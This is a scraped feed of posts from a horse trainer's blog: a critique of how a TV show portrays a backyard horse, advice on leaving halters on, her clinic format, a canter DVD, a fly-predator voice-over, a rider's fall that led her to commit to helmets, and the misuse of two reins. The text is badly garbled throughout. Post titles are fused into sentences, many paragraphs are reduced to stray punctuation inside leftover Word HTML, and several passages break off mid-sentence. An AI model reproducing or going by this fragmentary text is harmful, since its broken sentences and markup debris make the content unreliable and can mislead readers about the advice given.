does not talk.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>The show is predictably full of sexual innuendo and while there is some clever writing, I just can’t get past the stupidity of the premise of the show. The women are portrayed as idiots and loose and trashy. I used to wait tables—you actually have to be smart, organized and have good people skills. But my biggest objection is how the horse is portrayed.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>For starters, the horse’s name is “Chestnut.” A particularly clever and creative name, since the horse is bay in color. That was my first clue that the writers, producers and actors know absolutely nothing about horses. You’d think maybe they’d hire a consultant. But when it comes to horses, most people don’t know what they don’t know.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>So it’s no great surprise that the horse is in the back yard of their tiny apartment and that they think they are doing the horse a big favor keeping him there. Now I seriously doubt that someone will watch this show and rush out and acquire a horse to live in their back yard, without any thought to his physical and emotional needs. But I just hate it when horses are portrayed this way.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>These days, with critical numbers of unwanted horses in this country, the last thing we need is for the average person to think of horses as pets. They are not pets and horse ownership involves a higher level of skill, knowledge and responsibility than owning a pet. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>While I appreciate a good laugh on TV and I realize that even reality shows do not portray real life, I think I’ll stay away from this show. Have you seen it? What did you think? in the cold<div class=WordSection1><p class=MsoNormal>It was 6 below zero this morning. Relatively warm by some standards, when you compare it to 25 below, which our neighbors had. That’s why our valley is known as “the Banana Belt of Colorado.” <a href=""></a> <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal today. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>That’s the difference between being able to work horses or) sometime takes some strategy.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal></span> you leave your horse's halter on?<div class=WordSection1><p class=MsoNormal>A.<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal. <o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal>Often I hear people say they leave a halter on because their horse is difficult to catch. But guess what? That’s not fixing the problem—it’s avoiding it. Training and good handling will fix a hard-to-catch horse (how? <a href=""></a> );.<o:p></o:p></p><p class=MsoNormal?<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal. <o:p></o:p></p><p class=MsoNormal a horse is not like a dogIn.<br /><br /.<br /><br /.<br /><br /.<br /><br />Understanding the origins of a horse‘s behavior (is it instinctive or learned?) and reading his emotions (is he scared, mad, obstinate or confused?) and his attempts at communication with you (why is he doing that?) takes knowledge, experience, understanding, observation, confidence and persistence.<br /><br /.”<br /><br /.<br /><br /.<br /><br /).<br /><br /.<br /><br /.<br /><br /.<br /><br /.<br /><br /!<br /><br />Enjoy the ride,<br /><br />Julie<div class="blogger-post-footer">Please visit Goodnight's sites for more information and training tips:<img width='1' height='1' src='' alt='' /></div><img src="" height="1" width="1"/>Julie Goodnight Close and Personal Clinic Tour<div class=WordSection1><p class=MsoNormal>Recently someone asked me how I settled on the format of my Clinic Tour. Why do I do things the way I do? I’ve developed the format after learning something from each clinic—and there have been lots of clinics over the past two decades to help teach me the best style...<br><br>Years ago, I did clinics here at my ranch in rural Colorado. I had up to twenty school horses and people came from all over the country for 5-day intensive horsemanship clinics. Now, I travel over 150 days per year and give clinics across the country— and not at home. Thank god I have great people to help me with all of that planning! As my crew will be the first to tell you, I just go where they point me.<br><br>From the time the clinic starts until the last rider leaves, the format of the clinic is totally up to me. While I have say, I’ve probably never done two clinics that were exactly the same (because the horses and riders somewhat determine the direction of the clinic), I do have a clinic format that I am quite comfortable with and one that I think works well for the riders. But my clinics have evolved every year. I always have the goal of making them better, and I also grow the way I teach things as I develop new techniques and gain new perspectives throughout my career.<br><br>These days, clinics are really more of an intimate affair for me; at least compared to horse fairs and expos, where I make presentations to thousands of people and in-between presentations I might talk briefly to hundreds of horse owners face to face. But during clinics I get to work hands-on with the horses and their humans, with plenty of time to make sure each person/horse gets the time and attention s/he needs. I can check the horse’s health and well-being, their tack and fit, their manners and attitude, the relationship with their human. I can ask appropriate questions about the horse’s training, experience and care. And best of all I can handle the horse, ride the horse and experiment with him to figure out his needs. As much as I love teaching people, for me, working with different horses and helping them get along better with their humans is the most gratifying.<br><br>I prefer to have my clinics in settings that are comfortable and up close and personal for both the riders and spectators; usually in first-class private facilities where the owner is dedicated to providing education for horse owners. I learned a long time ago that every facility has an atmosphere or culture, if you will. I love doing clinics where the atmosphere is open-minded, friendly and welcoming. I do not want barriers between the people and me, like you might get at huge commercial facility—I want a casual atmosphere where riders and spectators alike feel comfortable asking me questions, having casual conversations at lunch; where I can watch people as they unload, tack-up and hang out with their horses.<br><br>I start every clinic with an introduction of the riders and their horses and I always ask people, if there was only one thing you could learn or work on this weekend, what would it be? It’s always interesting to hear what people’s goals and interests are—there are often lots of similarities in the list from one clinic to another and often many people in one clinic share some common goals, like building confidence or gaining more authority over their horse. Sometimes a rider will bring up a topic that is not normally in my plan for the clinic, like saddle fitting, so I’ll make a plan to add in an extra session after lunch for those that are interested. It’s important to me that everyone-- riders and spectators, goes away happy at the end of the weekend and with a renewed enthusiasm for horses.<o:p></o:p></p><p class=MsoNormal><br>In my clinics, I am not interested in force-feeding information to people nor am I interested in forcing my techniques/equipment/beliefs on others. I want to provide the information that people need to be more successful with their horse, no matter what discipline they choose or what level they ride. It is not so important to me the actual techniques used, but it is important to me that people understand their horse’s behavior and know how to influence it and why what they are doing works or doesn’t work. I do not need people in my clinics to fit into my mold—dress the way I dress, use the words I use or renounce other trainers. I am happy to meet people wherever they are in this journey and help them move in the right direction to achieve their goals—I don’t need them to become a mini-me. <br><br>The content in my clinics is user-driven, from the bottom-up. I start every clinic saying to the riders, “I am here for you, not the other way around. My goal is to make sure riders are safe and have a good time; and I certainly hope that you will learn something about your horse and about yourself in the process.”<br><br>One thing I love about clinics is that it is my time to actually get to know you and your horse, observe the good things and see what road blocks we may need to work on. In clinics, I like it that I can take the time to work with a horse from the ground or hop on and ride him, to see what works and/or to show the owner what she needs to do. What I love most about my job is being able to help horses and riders be happier with each other.<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>I am excited about my 2012 Clinic Tour and the places it will take me and the horses and people I will meet along the way. I can see by the early-bird registrations that many riders are excited about it too; many of our clinics are already half-full. Now that I’ve completed my last clinic for this year, I am eagerly looking forward to 2012 clinics and I hope to see you there—with or without your horse!<o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Enjoy the ride!<o:p></o:p></p><p class=MsoNormal>Julie<br><br><o:p></o:p></p><p class=MsoNormal>PS—Click here to see the dates and locations for my 2012 clinic tour and to find more information on our early-bird specials! <a href="">< the Canter<div class=WordSection1><p class=MsoNormal difficult maneuvers like flying lead changes, we all have skills to master at this complicated and exhilarating gait. And that’s one reason why my canter DVD, <i>Canter with Confidence</i>, is our biggest seller.<o:p></o:p></p><p class=MsoNormal>I’ve been training horses and riders for several decades now, so I know that people have the same problems with their horses and horses have the same problems with their riders. That’s one reason I started my Training Library years ago and compiling all the questions I get and the answers I gave. In addition to the face-to-face questions, I get emailed questions every day and they even still come by mail occasionally. Most of the questions I’ve already answered or written about so I am always on the lookout for new and unusual questions. Of course each individual’s issues are unique but some of the back stories on the horses or riders reads like a docu-drama. Still, no matter how unusual the question is, the answers usually fall into a few common themes: leadership, authority, release and use your seat.<o:p></o:p></p><p class=MsoNormal>Today, I am very excited to see the big Yellow Freight truck arrive with two pallets of my new video, Canter Master. I am even more excited to see the huge stack of packages going out today to the hundreds of people that pre-ordered this new DVD—you’ll be seeing it real soon! In this new video we were able to address some of the most common issues at the canter from cueing to lead changes, with real-life riders, horses and issues.<o:p></o:p></p><p class=MsoNormal>Working with five different horses and riders—all at different ability levels—I was able to address a multitude of common issues at the canter in a visual format that allows the viewer to see the problem and understand the solution. Our first rider is on a nicely trained horse, a very sweet mare, but she was blasting into the canter at warp speed because the rider was over-cueing, stiffening up and interfering with the horse’s mouth. When I rode the horse, she transitioned very smoothly and cantered slowly. Once I showed the rider how to prepare for the transition and cue the horse systematically and smoothly, she was able to loosen her death-grip on the horn and sit back and actually enjoy the ride!<o:p></o:p></p><p class=MsoNormal>Our next subject was a really intriguing horse ridden by an up-and-coming young rider. It was a half-Arabian sport horse, and they were showing in Arab shows and huntseat equitation. It was a gorgeous horse, very athletic and very forward and each time the boy cued for canter the horse would launch into a bucking fit and run like a freight train. Bucking and/or running through the bridle at the canter are common problems and there can be many causes—sometimes rider induced, often stemming from physical problems in the horse. But in this case, it was an extremely common rider-horse co-dependence—a chicken and egg thing between the horse and rider (was the horse causing the rider to do that or was the rider causing the horse to do that?). Regardless od=f the cause, the cycle needed breaking and only that rider can do that. The solution was in first teaching the horse to lower its head and get rid of the stiff and bracing neck he had developed from years of being pulled on because he was going too fast. Then to get the rider to use his seat and not his legs to cue the horse and to give the horse the release he needs. You’ll see a big transformation in a short time.<o:p></o:p></p><p class=MsoNormal>For the next short story on this video we shift from a teenage boy with a bucking horse to a 60-something lady and her gorgeous show horse who are working on collection at the canter. I loved working with this rider who had recovered from several back surgeries and was still actively competing. Teaching her to use her seat, legs and hands together in a soft rhythm in timing with the stride of the horse, she was able to slow down and round up her horse and smooth out the gait.<o:p></o:p></p><p class=MsoNormal>Rounding out the video, is perhaps one of the most common questions I get about the canter—how do I get my horse to do a flying lead change? Well, if it were that easy, anyone could do it, right? First you must have all the pre-requisite skills like perfect canter departures, leg yielding, collection, etc.; the rider in this case was ready, on a horse that she had raised and trained herself. But every time she asked for the lead change, her horse would change to a cross-canter, if he responded at all—very common issues. The horse actually changed really well for me, it turned out he just needed more of a pre-signal from the rider (the most common fix for lead change problems). By breaking the preparation and cue down for the rider, she was able to make the leap and do some great changes.<o:p></o:p></p><p class=MsoNormal>Do any of these issues ring a bell for you? How about all you instructors out there—do you think people and horses struggle with the same old issues and if so, are we getting any better at teaching Up the Last Rays of Summer<div class=WordSection1><p class=MsoNormal>I awakened early Friday morning to make my three hour commute to the airport, leaving for a clinic in Virginia. The temperature was in the 30s for the first time in a few months and the mountains peaks were blanketed with snow. That, and the fact that I was headed across the country to a clinic (my first business trip in eight weeks), were sure signs that my summer break had come to an end. Flashbacks of the first day of school after a wondrous summer came to mind.<o:p></o:p></p><p class=MsoNormal>I certainly can’t complain—I had a great summer break. A couple weeks on the beach in Kauai, several boating excursions, lots of golfing, walking and hiking and of course, plenty of time to ride my own horse for no other reason that my own personal pleasure. Rich and a had a good summer, but still, I hated to see it end.<o:p></o:p></p><p class=MsoNormal>But once I was on the road, already my mind was fast-forwarding ahead to the clinic and my other fall trips. When I got to the airport, my guys at the curb check spot I always use were happy to see me (I tip them well) and couldn’t wait to tell me they had seen my TV show. They’ve always treated me very well, pulling my 70# suitcases right out of the truck and taking good care of me. But now, since they saw me on TV, they felt compelled to treat me like a celebrity. This always cracks me up because I certainly don’t think of myself as one, but I don’t mind the extra service!<o:p></o:p></p><p class=MsoNormal>We had a great clinic in Chesterfield VA, near Richmond. It seems like every clinic has its own theme and this weekend, the theme was youngsters. We had a two year-old, several three year-olds and a couple more under six. It was fun to see the youngsters blossom and it was great to give the owners the information they needed to ensure the success of their young mounts. As usual, there was a variety of breeds, issues and rider’s ability, which makes the clinic fun and interesting for me—as well as for the spectators that are watching. All the riders and horses showed significant progress and I think everyone left with lots of ideas swirling in their heads and definite plans of action. I know sometimes my clinics fall into the category of information-overload and at the end of the weekend, sometimes the riders have a glazed-over, but satisfied look in their eyes. I’d rather err on the side of too much information than to have someone leave my clinic wishing they had gotten more out of it.<o:p></o:p></p><p class=MsoNormal>As sad as I was in Friday to know that my summer was over, it is exhilarating to get back to work and to meet new horses and their people. I’ll never grow tired of learning from new horses and helping people achieve their goals. My fall will be consumed with clinics, expos, state fairs, horse shows and conferences. Hard work as always but lots of fun too. I am fortunate to have a fun job and to have made a career out of something I am very passionate about. But there have been some tradeoffs—nothing worth having comes easily.<o:p></o:p></p><p class=MsoNormal>It seemed fitting to end my first week back from summer break sitting in the classroom at Colorado State U with a hundred or so incoming Freshmen. I attended the annual meeting of the CSU Equine Advisory Committee in Fort Collins this week. In order to appreciate the curriculum, we sat in on several classes—equine repro, equine anatomy and intro to equine sciences. It was fun to see the students and professors at work and I always enjoy the other committee members, who are real movers and shakers in the horse industry. Where else can you eat dinner with the leading cloner of horses? That makes for some very interesting dinner conversation!<o:p></o:p></p><p class=MsoNormal>Next week, with my fall in full swing, I’ll be headed to WA state for three days of clinics at the Central WA State Fair. Looking forward to Time for Everything<div class=WordSection1><p class=MsoNormal>I’ve enjoyed a lot of ‘firsts’ in my career and each has been exciting and fun to do—first article published, first time doing a live interview, first time I was a headliner at an expo, first cover on a magazine, first time on TV, first time roping a cow, first time riding a horse that was over 19 hands…. I’m thankful for all the opportunities. <br><br>This week I chalked up another first—I recorded a voice-over for an animated film. It will be for Spalding Laboratories-- about biological fly control and how those perky little predators actually work. Mine was the voice of the main character, Zara. She is a mamma fly predator of the species Muscidifurax Zaraptor Parasitoid. Try saying that three times fast. I can (now).<br> <br>It was fun working with a professional film-making crew that I didn’t know—lights, cameras, action! It was unusually easy because 1) there was no horse to work with and around, and 2) I could read from a script and didn’t have to memorize anything. I only had to read it the way the director wanted it to sound; and since he directed me each step, it was easy. <br> <br>In addition to recording the voice-over, we also taped some promotional video. Even the voice-over was recorded on video because the computer animation program can use the movement of my mouth to program the mouth of the animated character I was playing. I find animation intriguing and I cannot wait to see how Zara comes off in the film!<br> <br>And I learned a lot about fly predators! I thought I already knew a lot about them because I have used them for about 25 years and Spalding Labs has been a major sponsor of mine for years, but I never paid too much attention to exactly how they work—I just knew they did work. As long as the flies disappear, why ask too many questions? In recording this voice-over—an educational film about effective fly control and how fly predators work, I learned a lot of interesting facts about the Muscidifurax Zaraptor Parasatoids. For instance, all these decades, I thought fly parasites ATE fly larvae. But they don’t. The females (like Zara) lay their eggs in fly larvae and their offspring consume the larvae and one tiny mamma predator can kill about 70 adult flies. Since we release about 20,000 predators each month—that’s a lot of flies that never hatch! Goo Zara!<br> <br>I had fun with this commercial shoot and know it will help educate horse owners and in turn, make horses more comfortable. I count this opportunity to work with a sponsor as a blessing. After all, it would not be possible to do the TV show without Spalding and all of my sponsors. We love the comments and feedback we get about the show and it helps us shape the program into something that is even more interesting and useful to our viewers. But sometimes people don’t understand that our sponsors make what I do possible. From the TV show, to clinics, expos and even my writings, our sponsors make it possible. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>So while we appreciate all the comments we get—positive and constructive, those comments saying that we should have fewer commercials or I should have fewer logos on my shirts or that I am too commercial always make me wince a little. I wouldn’t be where I am without sponsors and, ironically, the people that are making the comments (and they are few and far between) wouldn’t be watching and learning from the show without them. <o:p></o:p></p><p class=MsoNormal><o:p> </o:p></p><p class=MsoNormal>Besides, horse owners frequently ask me what products I use and I’m happy to point them to what I know works and the products I’ve used for years than to have them hunt and “test” products for themselves. If I can help test and decide what works, I’m all for it and consider that part of my job. I hope it goes without saying that I would never endorse a product I didn’t believe in and that I would always be upfront and candid with people when giving them advice.<br> <br>Fortunately for me, we are able to limit the sponsors we take resulting in a few select sponsors-- all companies with products that I have used for years (or decades) and whose products I can whole-heartedly endorse, knowing that it will help horses and horse owners. It’s easy to do my job when the products I am promoting are products that I use every day and believe in. I’ve made it a point to carefully select who I work with. If by accepting a sponsorship from a company whose products I rely on to take care of my own horses, I can offer a multi-faceted educational program for horse owners all over the country, and in turn help a lot of horses—bring it on! If that’s becoming “commercial”, I say, commercial I am! <br> <br>It was a busy week and I struggled to get everything done, but I truly enjoyed checking off another “first” in my career. Who knows, maybe Disney will hire me as a voice talent for their next animated horse film! I could play Zara, the sage old alpha mare!<br> <br>Enjoy the ride,<br>Julie<br><br><o:p></o:p></p></div><div class="blogger-post-footer">Please visit Goodnight's sites for more information and training tips:<img width='1' height='1' src='' alt='' /></div><img src="" height="1" width="1"/>Julie Goodnight Shoot to End all Shoots!<div class=WordSection1><p class=MsoNormal>Many.<o:p></o:p></p><p class=MsoNormal>I always block off all of July and August in red, since this is the most glorious time in Colorado and because that is a time when my husband can get away from the ski area <a href=""></a> ..<o:p></o:p></p><p class=MsoNormal!<o:p></o:p></p><p class=MsoNormal!!<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal, <i>Ready to Ride</i>. This will be the fourth video in my From the Ground Up video series (Round Pen Reasoning, Lead Line Leadership, Bit Basics, Ready to Ride) and we are hoping to release it by the end of this year.<o:p></o:p></p><p class=MsoNormal. Here’s a link to her webpage: <a href=""></a> <o:p></o:p></p><p class=MsoNormal!<o:p></o:p></p><p class=MsoNormal<div class=WordSection1><p class=MsoNormal>I drove home from Denver through a <span style='color:#1F497D'>mountain </span>snowstorm on my way home Monday. It was the last day of summer and it was my son’s 24<sup>th</sup> birthday; after so many nights on the road this spring, I was eager to get home<span style='color:#1F497D'> </span>and ready for some real summer weather. I was returning from a weekend clinic in Des Moines IA; it was a wonderful clinic—everyone did well and had good fun, with one minor exception.<o:p></o:p></p><p class=MsoNormal>The clinic was at Jester Park Equestrian Center, an exceptional facility that is part of a large state park. They have a perfect indoor arena<span style='color:#1F497D'> </span>for clinics—extra wide and long with plenty of room for riders and good seating for spectators. A full clinic makes for a busy arena but all of the horses were so good that things progressed smoothly throughout almost the entire clinic. During the ground work, the horses were all so good that I could hardly find a victim for my demonstrations.<o:p></o:p></p><p class=MsoNormal>It’s rare that in an arena full of horses at a clinic to have all the horses be well-trained and obedient, but that was pretty much the case in Iowa last weekend. After all, people come to horsemanship clinics to further their goals and learn to deal with their horse better. So I expect some riders to have “issues.” Generally it doesn’t take long to get a handle on the exuberant horses and usually after 15-20 minutes of guidance and instruction, the horses all fall into the routine, regardless of their “exuberance.” But at the Iowa clinic, everyone had a pretty good handle on their horse from the start of the clinic, so it was all about simply getting better. And there’s always plenty of room for that.<o:p></o:p></p><p class=MsoNormal>Many of the people in the clinic had already done lots of groundwork with their horses and it really showed in the strong relationships they had with their horses. Still, as with riding, there’s always room for improvement. The actual groundwork techniques people use is less important to me—at my clinics, there’s always some people with “fancy sticks” and “magic wands” and “wonder halters”, with various techniques learned from various trainers, ranging from clever to clown-like. What’s most important to me is that the people understand what they are doing in the groundwork, what behavior they are influencing, what the correct outcome is and why a particular technique works (or doesn’t).<o:p></o:p></p><p class=MsoNormal>I always start my clinics with groundwork because it gives me a chance to get to know the horses and their people; their authority, their confidence and their competence. It’s not to say that the horses or people that are good at groundwork are good at riding—that is certainly not the case. Sometimes you have a horse that has a lot of time and money invested into its under-saddle training but none in groundwork. These horses might be total brats on the ground but wonderful under-saddle. And the opposite can definitely be true. But after teaching literally thousands of horses and riders, I can make a pretty good guess of what level the horse and rider team are at, from watching them from the ground first.<o:p></o:p></p><p class=MsoNormal>As the clinic progressed last weekend, I had increasing confidence in the horses and riders and I found the group to be very consumed with learning—both in terms of physical skills and intellectual learning. We talked a lot about horse behavior, the science behind training horses and the subtleties of good horsemanship. The questions were astute and the progress was considerable. By Sunday afternoon, I had a comfort level with this group that allowed me to relax, sit back and enjoy the clinic.<o:p></o:p></p><p class=MsoNormal>We were working on cantering—everyone working at their own level; some not even cantering but enjoying the learning and watching. I think we were working on perfecting the canter cue and departure. The riders were working at their own pace—some walking on the rail, some cantering round and round, some just cantering on the straight-aways. I was sitting back, enjoying watching everyone work—coaching riders independently as they came around—when things went suddenly wrong.<o:p></o:p></p><p class=MsoNormal>Unbeknownst to all of us in the arena, just outside the rail—in the attached horse barn-- a worker accidentally bumped into an air compressor, knocking loose one of the hoses. Suddenly there was a very loud hissing sound and the three horses nearest the barn aisle spooked, spun and bolted. Although my back was to them at the moment, between the sound of the released compressed air and the sound of the hoof beats, it got my attention real fast. When you work with an arena full of riders—15 to 20 riders is normal for me—you learn to observe with your ears. <o:p></o:p></p><p class=MsoNormal>At any given time when I am supervising an arena, some of the riders will be behind me. Although you learn to always position yourself in the arena to visualize the maximum number of riders, there are always some horses that are behind you. To compensate, you learn the sound of normal hoof beats—to listen to the cadence—so you know what a horse is doing even when he is not in your direct sight. In this instance, my mind registered the sound of the bolting horses before I figured out the sound of the runaway air hose.<o:p></o:p></p><p class=MsoNormal>Of the three horses that bolted, two of the riders managed to stay on their horse and bring them to a stop before reaching the other side of the arena. But one rider lost her balance as the horses changed directions and had an “unscheduled dismount.” My eye is trained to watch the rider fall—a lot of information about the potential for injury can be gleaned from watching the fall closely. She hit the ground pretty hard but in my mind, the impact was less conducive to serious injury. Still , the breath was knocked out of her and if you’ve never had that happen, it is very frightening.<o:p></o:p></p><p class=MsoNormal>Naturally, we took all precautions and we had good medic support at the clinic with EMTs, a nurse and a physical therapist. It was decided that the rider should get checked out before remounting and therefore she ended up missing the last hour of the clinic. Before she left, she said to me, “I had SO much fun!” Imagine saying that right after you hit the dirt! What a trouper!<o:p></o:p></p><p class=MsoNormal>I made a point of emphasizing to her that her horse had done nothing wrong—he’s a great little horse and had not missed a single step during the clinic. He had worked hard, done his best and was a very nice horse. I wanted to make sure she would not hold it against the horse or be unnecessarily afraid of him. After the clinic was over and I was headed for the airport, I called her to make sure she was okay. She was—no broken bones, just a bruised hip and some sore muscles. But something she said in that phone call affected me profoundly and it is that statement that I wanted to share with you. <o:p></o:p></p><p class=MsoNormal>Earlier that day it just so happened that I sat next to this rider at lunch and we had the chance to chat a little. I had discovered that she had two young children, I think she said 5 and 7— a girl and a boy. She was feeling guilty that she had left her husband at home to deal with the children alone on Father’s Day. I remember saying, “Hey, that is what Father’s Day is all about!” I could tell she felt a little guilty for taking some time for herself and following her own dreams, but I was proud of her for doing so. I was much older than her before I realized that I could do things for myself and still be a good person.<o:p></o:p></p><p class=MsoNormal>What she shared with me after the clinic and after her trip to the emergency room was both surprising and incredibly meaningful to me. She shared that she normally did not wear a helmet when she rode but that she had on this particular weekend because she knew how I felt about it and so she did so out of respect for me. She also shared that she would never ride without a helmet again because she had figured out that no matter how good her horse was (and he was very nice), stuff happens. And she has two beautiful children and a kind and generous husband that she needs to be around for. Why take the chance?<o:p></o:p></p><p class=MsoNormal>Truth be told, it was hot and humid and wearing a helmet was perhaps not the most comfortable thing. But on the off-chance that something goes wrong—something totally outside your control and influence, isn’t it a nice insurance policy to protect you from preventable head injury? My heartfelt thanks goes out to this rider for sharing her thoughts with me; I’ll never forget it. I don’t really know the impact I have had on someone unless they share it with me.<o:p></o:p></p><p class=MsoNormal>And BTW, thank you to all the kind souls who have asked me about my son, who is recovering from a near-fatal head injury that he incurred about a year and half ago. I am pleased and proud to report that he is defeating all odds in his recovery and he is well on the way to resuming a normal and productive life. I am so proud of him and so grateful for all your genuine concern. As it turned out, I made it home in plenty of time to celebrate his birthday.<o:p></o:p></p><p class=MsoNormal>Right now, I am high in the air, on my way to California for my last clinic this summer (I have a few clinics in the fall). I am hopeful that this clinic will be just as fulfilling as the other ones I have done this spring and I am equally hopeful that my summer break will include some long over-due time riding my own horse and just having fun with horses.<o:p></o:p></p><p class=MsoNormal>Ride hard, but ride safely, one rein is better than two<div class=WordSection1><p class=MsoNormal spent three glorious days on our boat at Lake Navajo, in the four corners area.<o:p></o:p></p><p class=MsoNormal>People often ask me how I can manage all the travel I do. It is hectic and frustrating at times but really it’s not so bad. This time of year I fly out on Friday and come home on Monday. Usually I have 3-4 days at home during the week. I say usually because this week I was only home one night before heading out again with my husband to attend a ski resort conference in Aspen. Then tomorrow we are headed to Estes Park, CO, to attend the wedding of Heidi Nyland, my marketing manager, TV show producer and friend. It makes for a busy week for me, since I fly out to MA on Friday, but I am enjoying some time in Colorado’s most beautiful mountain resorts.<o:p></o:p></p><p class=MsoNormal>A couple weeks ago, we had the Women’s Riding & Yoga Retreat at the C Lazy U Ranch in Granby CO <a href=""></a>. Although it was cold and wet most of the weekend (we even had snow on the ground one morning—much to the surprise of the flat-landers!), we all had a fabulous time riding in the toasty heated indoor arena, enjoying yoga sessions, gourmet food, the fantastic hot tub and the company of many fun and interesting women. <o:p></o:p></p><p class=MsoNormal>I know it’s been frustrating to many people who have tried to register for this event and couldn’t get in. I do this program twice a year and both clinics fill 6-12 months in advance. C Lazy U has a policy of allowing previous attendees to register first for the event the following year and so far, everyone has re-upped, making the clinics full from the beginning. We will be having the programs again next year in May and October and I have also agreed to a third weekend at C Lazy U, which will be a “Ranch Riding Adventure,” open to men and women, and it will include a clinic with me, trail riding challenges and introductory cattle work. This weekend will be in September—the most glorious month here in CO and we will be announcing dates and opening it up for registration later this summer.<o:p></o:p></p><p class=MsoNormal>At the CLU clinic a couple weeks ago, most people there were from out of state and everyone was riding one of the ranch’s trail horses. I have to say, these horses (and riders) did an awesome job. They carry riders (mostly beginners) down the trail for a living; they are not arena horses. But in spite of that, and with some understanding from the rider, they did great in the arena. The theme of the weekend was definitely working on not pulling BACK on the reins and not pulling on TWO reins at the same time when you want to turn. This is one of the most common problems I see at the clinics I do and it is highly detrimental to the horse. Some horses will take it, day in and day out, but many horses will shut down and become nonresponsive when the rider pulls on two reins. Allow me to explain.<o:p></o:p></p><p class=MsoNormal>First of all, most riders are stuck pulling BACKWARD on the reins any time they ask the horse to do anything (and sometimes even when they aren’t doing anything). ANY backward pull on the reins is known as a “rein of opposition” and interferes with the horse’s forward motion. If what you are trying to do is stop, then it’s not so bad, but if what you are trying to do is turn while you keep the horse going, it doesn’t work too well. For instance, we were doing a lot of canter work at the CLU clinic but most riders could not keep their horses going all the way around because as soon as they’d get to the corner, they’d pull back on the reins to turn and it would automatically slow the horse down to a trot. It’s asking him to do something he can’t—go forward around a tight turn while you are pulling back. It’s very unfair to the horse, although it’s the horse that usually gets blamed.<o:p></o:p></p><p class=MsoNormal>Another bad problem is to pull on both reins when you want the horse to turn, crossing your outside hand over the midline of the neck. So basically you are pulling his nose in two directions at the same time—what’s he supposed to do? Often people think they are neck reining when they do this, or they just have trouble separating their hands, or sometimes it looks like they are trying to turn their horse like their hands were on a steering wheel, but the horse is definitely the loser in this game. Many horses, when you pull on two reins at the same time, will just completely shut down, become nonresponsive and either head to the middle of the arena, head for another horse or just stop in frustration.<o:p></o:p></p><p class=MsoNormal>I know these are difficult concepts to understand and hard habits to break (especially when you don’t even know you are doing it) but when you consider it from the horse’s POV, it makes no sense at all. Pulling on two reins at the same time is rarely a good idea. The good news is that I think it sunk in for everyone at the clinic! As we worked through the different ways to use the reins—for instance using the leading rein (which has no opposition) to turn instead of the direct rein—and the one rein stop, I think everyone could see the difference in the way their horse’s responded. Although everyone would have loved to be able to bring their own horse to the retreat, in a way it’s good to ride different horses and work through specific challenges—it broadens your horizons and teaches you a lot. Would you agree that you learn more from riding different horses than you do from riding the same horse all the time?<o:p></o:p></p><p class=MsoNormal>I have written a lot about this problem of using two reins when one would work better <a href=""></a>. There’s also an article in my Training Library that explains the different ways you can use the reins and the theory behind the rein of opposition, <a href=""></a>. There is also detailed info on my riding DVD, Refinement and Collection—volume 5 in my riding series. <a href=""></a> <o:p></o:p></p><p class=MsoNormal>What about you—have you ever had problems with your horse when you pull on two reins? Is he stiff-necked, hollowed out and resistant to your cues? Is he breaking gait all the time or are you struggling to keep him going? Or maybe he’s running right through the bridle when you try to stop? Have you ever tried to break the habit of pulling on two reins or have you ever discovered that to be a problem? <o:p></o:p></p><p class=MsoNormal>Riding is not an easy sport and unfortunately it’s our horses that pay the price for our mistakes. I am willing to bet that most of you reading this already know this simple truth—99.9% of all horse problems are rider induced. The good news is that the more you know and understand and question, the better you will be and the more your horse will respond! Day<div class=WordSection1><p class=MsoNormal>We’re not big on celebrating florist holidays, so Mother’s Day has never been much of an ordeal in our family. Heck, we barely celebrate Christmas. Although I do confess to spending way too much money on wilting flowers for my mom this weekend, so in that way, I am still contributing to the economic event of this “holiday.” <o:p></o:p></p><p class=MsoNormal>I am, however, celebrating this entire weekend—just the simple act of being AT home is worth a celebration to me. And as it turns out, mother’s day is the reason why I am enjoying a well-deserved weekend off. I learned many years ago that clinics scheduled on mother’s day weekend were harder to fill and had more cancellations. Turns out many a mother had signed up for the clinic, only to find out that her son or daughter or husband had planned something special for mom that weekend.<o:p></o:p></p><p class=MsoNormal>I always found it incredibly ironic that in most cases, what the mom wanted to do the most was spend the weekend riding and learning about her horse. I only do 12-15 clinics a year from coast to coast, and I try to visit as many states and regions as possible, but in some cases of mother’s day clinic cancellations, she had already waited a year or two to get in a clinic. What she would have enjoyed more than anything was a weekend to herself, maybe staying at a hotel, no kids, no cooking and focusing on herself and her horse the whole weekend. But alas, we are mothers and when family duty calls, we answer and clinics get cancelled.<o:p></o:p></p><p class=MsoNormal>So I owe a big THANK YOU to mothers everywhere for their devotion to family. Mother’s day weekend is cleared on my calendar every year, along with Easter and memorial day. I get to spend those weekends at home, with my family, riding my horse, walking the dogs, cooking and gardening. After a long hard three months on the road almost every weekend, I so needed the break, so thank you!<o:p></o:p></p><p class=MsoNormal>I’ve been able to ride my horse several days this week and after a very long layoff, we are getting back into a groove. A week ago we had 7” of snow on the ground, so we relished having days in the 70s this weekend.<o:p></o:p></p><p class=MsoNormal>I guess florist holidays aren’t all bad. And I hope you enjoyed mother’s day too, rather you’re a mom or List<div class=WordSection1><p class=MsoNormal>Starting.”<o:p></o:p></p><p class=MsoNormal.<o:p></o:p></p><p class=MsoNormal>Lady and Cynthia had been together for some time when we met for the shoot and Lady was everything Cynthia had hoped for in a horse <i>except</i>.<o:p></o:p></p><p class=MsoNormal <i>could</i> work the horse “behind the scenes” that we do. <o:p></o:p></p><p class=MsoNormal).<o:p></o:p></p><p class=MsoNormal. <o:p></o:p></p><p class=MsoNormal was, she just really didn’t know what to do. Muscle memory is 